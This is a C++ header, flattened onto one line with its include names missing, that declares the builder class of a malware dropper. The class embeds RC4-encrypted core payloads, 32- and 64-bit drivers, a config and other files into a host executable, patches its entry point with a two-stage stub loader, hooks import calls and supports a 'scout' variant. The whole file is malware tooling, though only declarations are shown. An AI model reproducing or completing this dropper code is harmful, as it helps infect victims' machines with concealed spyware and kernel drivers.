#ifndef _DROPPER_SECTION_H #define _DROPPER_SECTION_H #include #include #include #include #include namespace bf = boost::filesystem; #include "DropperCode.h" #include "common.h" void generate_key(std::string& key, unsigned int length) ; typedef struct _patch_t { DWORD VA; boost::shared_array buffer; DWORD size; } PatchBuffer; typedef struct _file_buffer { std::string name; boost::shared_array buffer; DWORD size; } NamedFileBuffer; class PEObject; class DropperObject { private: boost::shared_array _data; std::size_t _size; std::size_t _epOffset; DWORD VA; PEObject& _pe; std::string _installDir; std::list _strings; std::map < std::string, int > _hookedCalls; struct { NamedFileBuffer core; NamedFileBuffer core64; NamedFileBuffer config; NamedFileBuffer driver; NamedFileBuffer driver64; NamedFileBuffer codec; NamedFileBuffer bitmap; } _files; PatchBuffer _patches[2]; // patch buffers for 2 stages of stub loader bool _readFile(std::string path, NamedFileBuffer& buffer); char* _embedFile(char* rc4key, NamedFileBuffer& source, DataSectionBlob& name, DataSectionCryptoPack& file, char* ptr ); int _embedFunction( PVOID funcStart, PVOID funcEnd , DataSectionBlob& func, char *ptr ); void _setExecutableName(std::string name) { std::list< std::string >::iterator iter = _strings.begin(); _strings.insert(iter, name); } void _setInstallDir(std::string path) { std::list< std::string >::iterator iter = _strings.begin(); iter++; _strings.insert(iter, path); } bool _addCoreFile(std::string path, std::string name); bool _addCore64File(std::string path, std::string name); bool _addConfigFile(std::string path, std::string name); bool _addCodecFile(std::string path, std::string name); bool _addDriverFile(std::string path, std::string name); bool _addDriver64File(std::string path, std::string name); bool _addBitmapFile(std::string path, std::string name); int _getIATCallIndex(std::string dll, std::string call); DWORD _build(WINSTARTFUNC OriginalEntryPoint, std::string fPrefix, std::string installDir); DWORD _build_scout(WINSTARTFUNC OriginalEntryPoint, std::string fPrefix); ULONG _exeType; public: DropperObject(PEObject& pe); bool build( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, std::string fPrefix, bf::path demoBitmap, BOOL isScout ); bool build_scout( bf::path scout ); char* getRestoreStub() { DataSectionHeader* header = (DataSectionHeader*)_data.get(); return ( _data.get() + header->restore.offset ); } std::size_t restoreStubOffset() { DataSectionHeader* header = (DataSectionHeader*)_data.get(); return ( header->restore.offset ); } void setPatchCode(std::size_t idx, DWORD VA, char const * const data, std::size_t size); char const * const data() { return _data.get(); } std::size_t const size() { return _size; } std::size_t epOffset() { return _epOffset; } }; #endif /* _DROPPER_SECTION_H */ .